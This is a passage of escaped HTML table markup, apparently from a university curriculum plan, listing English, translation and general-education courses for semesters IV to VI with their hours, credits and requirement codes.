windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <strong>IV\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL 103</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Academic English &nbsp;( 8 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Foreign\r\n  language 2 </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENG 108</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Phonetics </strong><strong>(4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Humanities&nbsp; 2 </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Humanities\r\n  1 </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 201</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>English Grammar pre-advanced (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Foreign\r\n  language 1&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 206</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>ESL pre – adv. (6 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Speech Culture </strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 301</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation Practice (4&nbsp; hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 207</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Introduction to translation </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"387\">\r\n  <strong>V semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <p><strong>VI\r\n  semester (Spring)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL\r\n  217</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>ESL\r\n  adv. <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL\r\n  309</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>English\r\n  Composition <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL 316 ENGL 322</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Advanced English Vocabulary</p>\r\n  <p>&nbsp;Lexicology</p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>ME</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Math\r\n  (Math and Natural Sciences-2 )<strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL\r\n  202</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>English\r\n  Grammar advanced <strong>(4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 370</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation\r\n  of scientific and technical texts </strong><strong>(6\r\n  hours)</strong><strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" 